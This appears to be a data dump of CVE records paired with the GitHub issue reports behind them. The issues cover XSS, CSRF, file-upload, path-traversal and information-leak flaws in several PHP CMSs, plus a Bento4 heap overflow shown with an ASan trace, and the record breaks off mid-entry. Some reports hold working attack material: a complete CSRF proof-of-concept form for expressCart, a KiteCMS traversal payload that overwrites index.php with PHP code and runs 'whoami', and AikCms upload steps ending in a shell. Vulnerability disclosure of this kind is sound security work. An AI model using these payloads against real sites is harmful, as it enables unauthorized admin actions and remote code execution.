Filter the url parameter | Bug:V1.1.9 Cross Site Scripting Vulnerability | https://api.github.com/repos/doublefast/yunucms/issues/8/comments | 0 | 2019-03-06T08:10:47Z | 2019-03-14T05:47:49Z | https://github.com/doublefast/yunucms/issues/8 | 417,673,534 | 8 | 2,309 |
CVE-2020-18446 | 2021-08-12T17:15:07.943 | Cross Site Scripting (XSS) vulnerability exists in YUNUCMS 1.1.9 via the param parameter in the insertContent function in ContentModel.php. | {
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] | 79 | https://github.com/doublefast/yunucms/issues/9 | [
"Exploit",
"Third Party Advisory"
] | github.com | [
"doublefast",
"yunucms"
] | There is an Stored Cross Site Scripting vulnerability in your latest version of the CMS v1.1.9
Download link: "http://img.yunucms.com/o_1d1n2lp3h1g0m1rjfvf818epqmua.zip?attname="
In the YUNUCMSv1.1.9\app\admin\model\ContentModel.php,No filtering to param in the insertContent( ) function:
Vulnerability trigger point
http://localhost/index.php/index/category/index?id=23&page=3
1、Log in as admin
2、Choose this part
3、Add content
4、Added refresh vulnerability trigger point
Fix:
Filter the param parameter | Bug:V1.1.9 Cross Site Scripting Vulnerability | https://api.github.com/repos/doublefast/yunucms/issues/9/comments | 0 | 2019-03-07T05:39:20Z | 2019-03-07T05:39:20Z | https://github.com/doublefast/yunucms/issues/9 | 418,138,203 | 9 | 2,310 |
CVE-2020-18449 | 2021-08-12T18:15:08.280 | Cross Site Scripting (XSS) vulnerability exists in UKCMS v1.1.10 via data in the index function in Single.php | {
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] | 79 | https://github.com/yxcmf/ukcms/issues/3 | [
"Exploit",
"Third Party Advisory"
] | github.com | [
"yxcmf",
"ukcms"
] | There is an Stored Cross Site Scripting vulnerability in your latest version of the CMS v1.1.10
Download link: "http://down.ukcms.com/down.php?v=1.1.10"
In the UKCMSv1.1.10\application\home\controller\Single.php, No filtering to data in the index( ) function:
Vulnerability trigger point
http://localhost/admin.php/admin/content/guestbook.html
1、Go to the front page to find the message board
2、Add a message
3、Log in as admin
4、Choose this part
5、XSS vulnerability popup
Fix：
This is an XSS vulnerability, this vulnerability is because no filtering to data in the index( ) function. | Bug:V1.1.10 Cross Site Scripting Vulnerability | https://api.github.com/repos/yxcmf/ukcms/issues/3/comments | 0 | 2019-03-12T02:02:56Z | 2019-03-12T05:27:08Z | https://github.com/yxcmf/ukcms/issues/3 | 419,765,594 | 3 | 2,311 |
CVE-2020-18451 | 2021-08-12T18:15:08.320 | Cross Site Scripting (XSS) vulnerability exists in DamiCMS v6.0.6 via the title parameter in the doadd function in LabelAction.class.php. | {
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"79"
] | 79 | https://github.com/AutismJH/damicms/issues/2 | [
"Exploit",
"Third Party Advisory"
] | github.com | [
"AutismJH",
"damicms"
] | There is an Stored Cross Site Scripting vulnerability in your latest version of the CMS v6.0.6
Download link: "https://www.damicms.com/downes/dami.rar"
In the DamicmsV6.0.6\Admin\Lib\Action\LabelAction.class.php, No filtering to title in the doadd() function:
Vulnerability trigger point
http://localhost/admin.php?s=/Index/index
1、Log in as admin
2、Choose this part
3、Add content
4、Added refresh vulnerability trigger point
Fix:
Filter the title parameter. | Bug:V6.0.6 Cross Site Scripting Vulnerability | https://api.github.com/repos/AutismJH/damicms/issues/2/comments | 0 | 2019-03-13T02:09:44Z | 2019-03-13T02:09:44Z | https://github.com/AutismJH/damicms/issues/2 | 420,284,212 | 2 | 2,312 |
CVE-2020-18454 | 2021-08-12T18:15:08.360 | Cross Site Request Forgery (CSRF) vulnerability in bycms v1.3 via admin.php/systems/index/module_id/70/group_id/1.html. | {
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"availabilityImpact": "PARTIAL",
"baseScore": 6,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:M/Au:S/C:P/I:P/A:P",
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] | 352 | https://github.com/hillerlin/bycms/issues/1 | [
"Exploit",
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] | github.com | [
"hillerlin",
"bycms"
] | There is an Cross-site request forgery vulnerability in your latest version of the CMS v1.3.0
Download link: "http://ahdx.down.chinaz.com/201901/bycms_v1.3.zip"
Vulnerability trigger point:
http://bycms/admin.php/systems/index/module_id/70/group_id/1.html
1、Log in as admin
2、Choose this part
3、Capture the package to generate a POC file and run it
4、Refresh page has changed
| Bug:V1.3.0 Cross-site request forgery | https://api.github.com/repos/hillerlin/bycms/issues/1/comments | 0 | 2019-03-13T09:08:37Z | 2019-04-08T05:37:24Z | https://github.com/hillerlin/bycms/issues/1 | 420,387,720 | 1 | 2,313 |
CVE-2020-18455 | 2021-08-12T18:15:08.397 | Cross Site Scripting (XSS) vulnerability exists in bycms v3.0.4 via the title parameter in the edit function in Document.php. | {
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] | 79 | https://github.com/hillerlin/bycms/issues/2 | [
"Exploit",
"Third Party Advisory"
] | github.com | [
"hillerlin",
"bycms"
] | There is an Stored Cross Site Scripting vulnerability in your latest version of the CMS v1.3.0
Download link: "http://ahdx.down.chinaz.com/201901/bycms_v1.3.zip"
In the BYCMSv1.3.0\application\admin\controller\Document.php, No filtering to title in the edit( ) function:
Vulnerability trigger point
http://bycms/admin.php/document/index/module_id/9/group_id/7.html
1、Log in as admin
2、Choose this part
3、Modify content
4、Edited the refresh vulnerability trigger point
Fix:
Filter the title parameter | Bug:V1.3.0 Cross Site Scripting Vulnerability | https://api.github.com/repos/hillerlin/bycms/issues/2/comments | 0 | 2019-03-21T06:55:11Z | 2019-04-08T05:38:13Z | https://github.com/hillerlin/bycms/issues/2 | 423,592,192 | 2 | 2,314 |
CVE-2020-18456 | 2021-08-12T18:15:08.437 | Cross Site Scripting (XSS) vulnerability exists in PbootCMS v1.3.7 via the title parameter in the mod function in SingleController.php. | {
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"79"
] | 79 | https://github.com/Pbootcms/Pbootcms/issues/4 | [
"Exploit",
"Third Party Advisory"
] | github.com | [
"Pbootcms",
"Pbootcms"
] | There is an Stored Cross Site Scripting vulnerability in your latest version of the CMS v1.3.7
Download link: "https://codeload.github.com/hnaoyun/PbootCMS/zip/V1.3.7"
In the Pbootcmsv1.3.7\apps\admin\controller\content\SingleController.php, No filtering to title in the mod( ) function:
Vulnerability trigger point：
http://www.pbootcms.cn/index.php/about/11
1、Log in as admin
2、Choose this part
3、modify content
4、Added refresh vulnerability trigger point
Fix:
Filter the title parameter | Bug:V1.3.7 Cross Site Scripting Vulnerability | https://api.github.com/repos/Pbootcms/Pbootcms/issues/4/comments | 0 | 2019-04-09T01:42:25Z | 2019-04-09T01:42:25Z | https://github.com/Pbootcms/Pbootcms/issues/4 | 430,727,860 | 4 | 2,315 |
CVE-2020-18457 | 2021-08-12T18:15:08.480 | Cross Site Request Forgery (CSRF) vulnerability exists in bycms v1.3.0 that can add an admin account via admin.php/ucenter/add.html. | {
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"352"
] | 352 | https://github.com/hillerlin/bycms/issues/3 | [
"Exploit",
"Third Party Advisory"
] | github.com | [
"hillerlin",
"bycms"
] | There is an Cross-site request forgery vulnerability in your latest version of the CMS v1.3.0
Download link: "http://ahdx.down.chinaz.com/201901/bycms_v1.3.zip"
Vulnerability trigger point:
http://localhost/admin.php/ucenter/index/module_id/78.html
1、Log in as admin
2、Choose this part
3、Capture the package to generate a POC file and run it
[bycms的CSRF.txt](https://github.com/hillerlin/bycms/files/3061752/bycms.CSRF.txt)
4、Refresh page has changed
 | Bug:V1.3.0 Cross-site request forgery | https://api.github.com/repos/hillerlin/bycms/issues/3/comments | 0 | 2019-04-10T02:43:41Z | 2019-04-15T08:22:03Z | https://github.com/hillerlin/bycms/issues/3 | 431,278,132 | 3 | 2,316 |
CVE-2020-18458 | 2021-08-12T19:15:07.820 | Cross Site Request Forgery (CSRF) vulnerability exists in DamiCMS v6.0.6 that can add an admin account via admin.php?s=/Admin/doadd. | {
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"352"
] | 352 | https://github.com/AutismJH/damicms/issues/5 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"AutismJH",
"damicms"
] | There is an Cross-site request forgery vulnerability in your latest version of the CMS v6.0.6
Download link: "https://www.damicms.com/downes/dami.rar"
Vulnerability trigger point:
http://damicms/admin.php?s=/Index/index
1、Log in as admin
2、Choose this part
3、Capture the package to generate a POC file and run it
[damicms's CSRF.txt](https://github.com/AutismJH/damicms/files/3079147/damicms.s.CSRF.txt)
4、Refresh page has changed
 | Bug:V6.0.6 Cross-site request forgery | https://api.github.com/repos/AutismJH/damicms/issues/5/comments | 0 | 2019-04-15T08:36:56Z | 2019-04-15T08:39:58Z | https://github.com/AutismJH/damicms/issues/5 | 433,159,757 | 5 | 2,317 |
CVE-2020-18462 | 2021-08-12T19:15:07.900 | File Upload vulnerabilty in AikCms v2.0.0 in poster_edit.php because the background file management office does not verify the uploaded file. | {
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] | 434 | https://github.com/Richard1266/aikcms/issues/1 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"Richard1266",
"aikcms"
] | There is an File upload vulnerability in your latest version of the CMS v2.0.0
Download link: "http://www.aikcms.com/download/%E7%88%B1%E5%AE%A2CMS2.0.zip"
In the AIKCMSv2.0.0\admin\page\admincore\poster_edit.php，No checksum filtering of file extensions of uploaded files：
1、Log in as admin
2、Choose this part
3、Edit and capture the change suffix name
4、Getshell
| Bug:V2.0.0 File upload vulnerability | https://api.github.com/repos/Richard1266/aikcms/issues/1/comments | 0 | 2019-04-29T06:40:30Z | 2019-04-29T06:40:30Z | https://github.com/Richard1266/aikcms/issues/1 | 438,168,838 | 1 | 2,318 |
CVE-2020-18463 | 2021-08-12T19:15:07.937 | Cross Site Request Forgery (CSRF) vulnerability exists in v2.0.0 in video_list.php, which can let a malicious user delete a video message. | {
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"352"
] | 352 | https://github.com/Richard1266/aikcms/issues/2 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"Richard1266",
"aikcms"
] | There is an Cross-site request forgery vulnerability in your latest version of the CMS v2.0.0
Download link: "http://www.aikcms.com/download/%E7%88%B1%E5%AE%A2CMS2.0.zip"
Vulnerability trigger point:
http://www.aikcms.cn/admin/page/video/video_list.php
1、Log in as admin
2、Choose this part
3、Capture the package to generate a POC file and run it
[csrf.txt](https://github.com/Richard1266/aikcms/files/3126236/csrf.txt)
4、Refresh page has changed
 | Bug:V2.0.0 Cross-site request forgery | https://api.github.com/repos/Richard1266/aikcms/issues/2/comments | 0 | 2019-04-29T07:07:17Z | 2019-04-29T07:07:17Z | https://github.com/Richard1266/aikcms/issues/2 | 438,176,086 | 2 | 2,319 |
CVE-2021-37704 | 2021-08-12T20:15:07.267 | PhpFastCache is a high-performance backend cache system (packagist package phpfastcache/phpfastcache). In versions before 6.1.5, 7.1.2, and 8.0.7 the `phpinfo()` can be exposed if the `/vendor` is not protected from public access. This is a rare situation today since the vendor directory is often located outside the web directory or protected via server rule (.htaccess, etc). Only the v6, v7 and v8 will be patched respectively in 8.0.7, 7.1.2, 6.1.5. Older versions such as v5, v4 are not longer supported and will **NOT** be patched. As a workaround, protect the `/vendor` directory from public access. | {
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},
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"tags": [
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"668"
] | 668 | https://github.com/flextype/flextype/issues/567 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"flextype",
"flextype"
] | All 0.9.x versions (prior to 0.9.16), are affected.
System Information Leak ( phpinfo() ) vulnerability in flextype 0.9.16 via the phpinfo() parameter to 1) flextype/vendor/phpfastcache/phpfastcache/docs/examples/phpinfo.php ,2) flextype/vendor/phpfastcache/phpfastcache/docs/examples/index.php
it's allows remote attackers to obtain configuration information via a phpinfo action in a request to phpinfo.php、index.php, which calls the phpinfo function.
| phpinfo (phpinfo.php) shows PHP information including values of HttpOnly cookies. | https://api.github.com/repos/flextype/flextype/issues/567/comments | 5 | 2021-08-12T03:43:50Z | 2021-08-12T21:32:24Z | https://github.com/flextype/flextype/issues/567 | 967,961,862 | 567 | 2,320 |
CVE-2020-22403 | 2021-08-12T22:15:07.597 | Cross Site Request Forgery (CSRF) vulnerability in Express cart v1.1.16 allows attackers to add an administrator account, add discount code or other unspecified impacts. | {
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"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
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"source": "cve@mitre.org",
"tags": null,
"url": "https://github.com/mrvautin/expressCart/issues/120"
},
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"source": "af854a3a-2127-422b-91ae-364da2661108",
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"352"
] | 352 | https://github.com/mrvautin/expressCart/issues/120 | null | github.com | [
"mrvautin",
"expressCart"
] | **Hi team**
I found admin privileges can be cross site request forgery (CSRF) vulnerability . API admin only check session , it is reason led to vulnerablity.
My Poc exploit csrf to create `discount code`
```html
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost:1111/admin/settings/discount/create" method="POST">
<input type="hidden" name="code" value="CSRF-CODE-DEMO" />
<input type="hidden" name="type" value="percent" />
<input type="hidden" name="value" value="30" />
<input type="hidden" name="start" value="21/02/2020 14:32" />
<input type="hidden" name="end" value="22/02/2020 14:32" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
```
Video demo [here](https://drive.google.com/open?id=1i5O-1ShoB7UYu34VzPomhNDxEttfCcix)
| CSRF on admin privileges | https://api.github.com/repos/mrvautin/expressCart/issues/120/comments | 2 | 2020-02-22T16:25:22Z | 2020-10-27T11:35:20Z | https://github.com/mrvautin/expressCart/issues/120 | 569,357,226 | 120 | 2,321 |
CVE-2021-31731 | 2021-08-12T22:15:07.987 | A directory traversal issue in KiteCMS 1.1.1 allows remote administrators to overwrite arbitrary files via ../ in the path parameter to index.php/admin/Template/fileedit, with PHP code in the html parameter. | {
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"baseScore": 5.5,
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"vectorString": "AV:N/AC:L/Au:S/C:N/I:P/A:P",
"version": "2.0"
},
"exploitabilityScore": 8,
"impactScore": 4.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
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"source": "nvd@nist.gov",
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"22"
] | 22 | https://github.com/Kitesky/KiteCMS/issues/9 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"Kitesky",
"KiteCMS"
] | 1. log into the background of the site
url: /index.php/admin/passport/login.html
2. Add vulnerability URL
url: /index.php/admin/Template/fileedit
Convert to a POST request
let contract
3. Access index.php generated in the root directory
url: /index.php?a=whoami
### Code audit
The vulnerability file is located at: /application/admin/controller/Template.php -> fileedit()
$path and $html We controlled,$rootpath Path splicing
And the PATH variable can be passed through .. / directory
The variable HTML is written to our PHP code
The HTML is decoded, but it has no effect on the PHP code
So we can find an existing file to overwrite the writing.
POST payload is:
path=../../index.php&html=(you php code)
Finally, the command is executed at index.PHP | Code execution vulnerability causes RCE | https://api.github.com/repos/kitesky/KiteCMS/issues/9/comments | 0 | 2021-04-21T07:11:29Z | 2021-04-21T07:12:01Z | https://github.com/kitesky/KiteCMS/issues/9 | 863,523,257 | 9 | 2,322 |
CVE-2020-21066 | 2021-08-13T21:15:06.923 | An issue was discovered in Bento4 v1.5.1.0. There is a heap-buffer-overflow in AP4_Dec3Atom::AP4_Dec3Atom at Ap4Dec3Atom.cpp, leading to a denial of service (program crash), as demonstrated by mp42aac. | {
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"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
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"exploitabilityScore": 8.6,
"impactScore": 2.9,
"obtainAllPrivilege": false,
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"source": "nvd@nist.gov",
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"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
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"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/issues/408"
},
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"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
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"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"axiomatic-systems",
"Bento4"
] | # bento4
## version
bento4 1.5.1.0
## description
```txt
mp42acc 1.0
```
## download link
https://www.bento4.com/
## others
please send email to teamseri0us360@gmail.com if you have any questions.
---------------------
## (1) AP4_BitReader::SkipBits@Ap4Utils.cpp-548___heap-buffer-overflow
### description
An issue was discovered in bento4 1.5.1.0, There is a/an heap-buffer-overflow in function AP4_BitReader::SkipBits at Ap4Utils.cpp-548
### commandline
mp42aac @@ a.aac
### source
```c
544 m_BitsCached = AP4_WORD_BITS-n;
545 m_Position += AP4_WORD_BYTES;
546 } else {
547 m_BitsCached = 0;
548 m_Cache = 0;
549 }
550 }
551 }
552
553 /*----------------------------------------------------------------------
```
### bug report
```txt
=================================================================
==26617==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60400000de7c at pc 0x0000004867b1 bp 0x7ffc1efd5fc0 sp 0x7ffc1efd5fb0
READ of size 4 at 0x60400000de7c thread T0
#0 0x4867b0 in AP4_BitReader::SkipBits(unsigned int) /src/bento4/Source/C++/Core/Ap4Utils.cpp:548
#1 0x5bb555 in AP4_Dac4Atom::AP4_Dac4Atom(unsigned int, unsigned char const*) /src/bento4/Source/C++/Core/Ap4Dac4Atom.cpp:174
#2 0x5bc562 in AP4_Dac4Atom::Create(unsigned int, AP4_ByteStream&) /src/bento4/Source/C++/Core/Ap4Dac4Atom.cpp:56
#3 0x57e158 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /src/bento4/Source/C++/Core/Ap4AtomFactory.cpp:724
#4 0x582669 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /src/bento4/Source/C++/Core/Ap4AtomFactory.cpp:221
#5 0x5735f8 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /src/bento4/Source/C++/Core/Ap4ContainerAtom.cpp:194
#6 0x521289 in AP4_SampleEntry::Read(AP4_ByteStream&, AP4_AtomFactory&) /src/bento4/Source/C++/Core/Ap4SampleEntry.cpp:115
#7 0x521289 in AP4_AudioSampleEntry::AP4_AudioSampleEntry(unsigned int, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /src/bento4/Source/C++/Core/Ap4SampleEntry.cpp:420
#8 0x57c49a in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /src/bento4/Source/C++/Core/Ap4AtomFactory.cpp:324
#9 0x582669 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /src/bento4/Source/C++/Core/Ap4AtomFactory.cpp:221
#10 0x53034e in AP4_StsdAtom::AP4_StsdAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /src/bento4/Source/C++/Core/Ap4StsdAtom.cpp:101
#11 0x532124 in AP4_StsdAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /src/bento4/Source/C++/Core/Ap4StsdAtom.cpp:57
#12 0x57e3fb in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /src/bento4/Source/C++/Core/Ap4AtomFactory.cpp:424
#13 0x582669 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /src/bento4/Source/C++/Core/Ap4AtomFactory.cpp:221
#14 0x5712f9 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /src/bento4/Source/C++/Core/Ap4ContainerAtom.cpp:194
#15 0x5712f9 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /src/bento4/Source/C++/Core/Ap4ContainerAtom.cpp:139
#16 0x57212e in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /src/bento4/Source/C++/Core/Ap4ContainerAtom.cpp:88
#17 0x57b67e in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /src/bento4/Source/C++/Core/Ap4AtomFactory.cpp:764
#18 0x582669 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /src/bento4/Source/C++/Core/Ap4AtomFactory.cpp:221
#19 0x472604 in AP4_DrefAtom::AP4_DrefAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /src/bento4/Source/C++/Core/Ap4DrefAtom.cpp:84
#20 0x472af7 in AP4_DrefAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /src/bento4/Source/C++/Core/Ap4DrefAtom.cpp:50
#21 0x57d243 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /src/bento4/Source/C++/Core/Ap4AtomFactory.cpp:535
#22 0x582669 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /src/bento4/Source/C++/Core/Ap4AtomFactory.cpp:221
#23 0x5712f9 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /src/bento4/Source/C++/Core/Ap4ContainerAtom.cpp:194
#24 0x5712f9 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /src/bento4/Source/C++/Core/Ap4ContainerAtom.cpp:139
#25 0x57212e in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /src/bento4/Source/C++/Core/Ap4ContainerAtom.cpp:88
#26 0x57b67e in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /src/bento4/Source/C++/Core/Ap4AtomFactory.cpp:764
#27 0x582669 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /src/bento4/Source/C++/Core/Ap4AtomFactory.cpp:221
#28 0x5712f9 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /src/bento4/Source/C++/Core/Ap4ContainerAtom.cpp:194
#29 0x5712f9 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /src/bento4/Source/C++/Core/Ap4ContainerAtom.cpp:139
#30 0x57212e in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /src/bento4/Source/C++/Core/Ap4ContainerAtom.cpp:88
#31 0x57b67e in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /src/bento4/Source/C++/Core/Ap4AtomFactory.cpp:764
#32 0x582669 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /src/bento4/Source/C++/Core/Ap4AtomFactory.cpp:221
#33 0x5712f9 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /src/bento4/Source/C++/Core/Ap4ContainerAtom.cpp:194
#34 0x5712f9 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /src/bento4/Source/C++/Core/Ap4ContainerAtom.cpp:139
#35 0x57212e in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /src/bento4/Source/C++/Core/Ap4ContainerAtom.cpp:88
#36 0x57b67e in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /src/bento4/Source/C++/Core/Ap4AtomFactory.cpp:764
#37 0x582669 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /src/bento4/Source/C++/Core/Ap4AtomFactory.cpp:221
#38 0x5712f9 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /src/bento4/Source/C++/Core/Ap4ContainerAtom.cpp:194
#39 0x5712f9 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /src/bento4/Source/C++/Core/Ap4ContainerAtom.cpp:139
#40 0x46d252 in AP4_TrakAtom::AP4_TrakAtom(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /src/bento4/Source/C++/Core/Ap4TrakAtom.cpp:165
#41 0x57de8a in AP4_TrakAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /src/bento4/Source/C++/Core/Ap4TrakAtom.h:58
#42 0x57de8a in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /src/bento4/Source/C++/Core/Ap4AtomFactory.cpp:379
#43 0x582669 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /src/bento4/Source/C++/Core/Ap4AtomFactory.cpp:221
#44 0x5712f9 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /src/bento4/Source/C++/Core/Ap4ContainerAtom.cpp:194
#45 0x5712f9 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /src/bento4/Source/C++/Core/Ap4ContainerAtom.cpp:139
#46 0x4fa8dc in AP4_MoovAtom::AP4_MoovAtom(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /src/bento4/Source/C++/Core/Ap4MoovAtom.cpp:80
#47 0x57baf9 in AP4_MoovAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /src/bento4/Source/C++/Core/Ap4MoovAtom.h:56
#48 0x57baf9 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /src/bento4/Source/C++/Core/Ap4AtomFactory.cpp:359
#49 0x58185d in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /src/bento4/Source/C++/Core/Ap4AtomFactory.cpp:221
#50 0x58185d in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) /src/bento4/Source/C++/Core/Ap4AtomFactory.cpp:151
#51 0x5002c7 in AP4_File::ParseStream(AP4_ByteStream&, AP4_AtomFactory&, bool) /src/bento4/Source/C++/Core/Ap4File.cpp:104
#52 0x5002c7 in AP4_File::AP4_File(AP4_ByteStream&, bool) /src/bento4/Source/C++/Core/Ap4File.cpp:78
#53 0x43ec52 in main /src/bento4/Source/C++/Apps/Mp42Aac/Mp42Aac.cpp:250
#54 0x7f7ea76dd82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#55 0x442c18 in _start (/src/aflbuild/installed/bin/mp42aac+0x442c18)
0x60400000de7c is located 0 bytes to the right of 44-byte region [0x60400000de50,0x60400000de7c)
allocated by thread T0 here:
#0 0x7f7ea80b86b2 in operator new[](unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x996b2)
#1 0x5071d5 in AP4_DataBuffer::ReallocateBuffer(unsigned int) /src/bento4/Source/C++/Core/Ap4DataBuffer.cpp:210
#2 0x5071d5 in AP4_DataBuffer::SetBufferSize(unsigned int) /src/bento4/Source/C++/Core/Ap4DataBuffer.cpp:136
SUMMARY: AddressSanitizer: heap-buffer-overflow /src/bento4/Source/C++/Core/Ap4Utils.cpp:548 AP4_BitReader::SkipBits(unsigned int)
Shadow bytes around the buggy address:
0x0c087fff9b70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff9b80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff9b90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff9ba0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff9bb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c087fff9bc0: fa fa fa fa fa fa fa fa fa fa 00 00 00 00 00[04]
0x0c087fff9bd0: fa fa 00 00 00 00 00 03 fa fa 00 00 00 00 00 03
0x0c087fff9be0: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 02
0x0c087fff9bf0: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 00
0x0c087fff9c00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff9c10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==26617==ABORTING
```
### others
from fuzz project pwd-bento4-mp42aac-00
crash name AP4_BitReader::SkipBits@Ap4Utils.cpp-548___heap-buffer-overflow
Auto-generated by pyspider at 2019-07-16 17:39:41
please send email to teamseri0us360@gmail.com if you have any questions.
### input
[input](https://github.com/zhanggenex/poc/blob/master/bento4/vuln1/AP4_BitReader::SkipBits%40Ap4Utils.cpp-548___heap-buffer-overflow)
## (2) AP4_Dec3Atom::AP4_Dec3Atom@Ap4Dec3Atom.cpp-97___heap-buffer-overflow
### description
An issue was discovered in bento4 1.5.1.0, There is a/an heap-buffer-overflow in function AP4_Dec3Atom::AP4_Dec3Atom at Ap4Dec3Atom.cpp-97
### commandline
mp42aac @@ a.aac
### source
```c
